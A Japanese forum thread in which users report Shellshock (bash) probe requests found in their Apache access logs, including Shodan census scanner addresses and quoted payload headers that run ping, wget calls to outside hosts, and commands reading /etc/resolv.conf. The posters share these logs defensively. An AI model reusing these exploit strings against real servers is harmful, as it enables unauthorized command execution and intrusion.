アカウント名:
パスワード:
198.20.69.74（census1.shodan.io)から、
GET / HTTP/1.1Cookie: () { :; }; /bin/ping -c 1 104.131.0.69Referer: () { :; }; /bin/ping -c 1 104.131.0.69User-agent: () { :; }; /bin/ping -c 1 104.131.0.69
などというのがきてます。
104.131.0.69は hello.data.shodan.io だそうです。ちなみに
census1.shodan.io 198.20.69.74census2.shodan.io 198.20.69.98census3.shodan.io 198.20.70.114census4.shodan.io 198.20.99.130census5.shodan.io 93.120.27.62census6.shodan.io 66.240.236.119census7.shodan.io
我が家のapacheでgrep '()' access_logしたら昨日の時点でもかなりのアクセスが見つかりました確認しているだけで() { :;}; wget 'http://taxiairportpop.com/s.php?s=http://example.com/'() { :;}; /bin/bash -c \"wget -q -O /dev/null http://ad.dipad.biz/test/http://exmaple.com/ [dipad.biz]\"() { :;};echo Content-type:text/plain;echo;/bin/ls /etc/resolv.conf;exit() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit() { :; }; echo Mozilla: `echo K3Vbs0di2P`などなどいろんなパターンがありますね
より多くのコメントがこの議論にあるかもしれませんが、JavaScriptが有効ではない環境を使用している場合、クラシックなコメントシステム(D1)に設定を変更する必要があります。
日本発のオープンソースソフトウェアは42件 -- ある官僚
早速shodanが探り入れてきてます？ (スコア:3, 参考になる)
198.20.69.74（census1.shodan.io)から、
GET / HTTP/1.1
Cookie: () { :; }; /bin/ping -c 1 104.131.0.69
Referer: () { :; }; /bin/ping -c 1 104.131.0.69
User-agent: () { :; }; /bin/ping -c 1 104.131.0.69
などというのがきてます。
104.131.0.69は hello.data.shodan.io だそうです。
ちなみに
census1.shodan.io 198.20.69.74
census2.shodan.io 198.20.69.98
census3.shodan.io 198.20.70.114
census4.shodan.io 198.20.99.130
census5.shodan.io 93.120.27.62
census6.shodan.io 66.240.236.119
census7.shodan.io
Re:早速shodanが探り入れてきてます？ (スコア:1)
我が家のapacheでgrep '()' access_logしたら昨日の時点でもかなりのアクセスが見つかりました
確認しているだけで
() { :;}; wget 'http://taxiairportpop.com/s.php?s=http://example.com/'
() { :;}; /bin/bash -c \"wget -q -O /dev/null http://ad.dipad.biz/test/http://exmaple.com/ [dipad.biz]\"
() { :;};echo Content-type:text/plain;echo;/bin/ls /etc/resolv.conf;exit
() { :;};echo content-type:text/plain;echo;echo QwaAqdKyMkdAiaZBos;echo;exit
() { :; }; echo Mozilla: `echo K3Vbs0di2P`
などなどいろんなパターンがありますね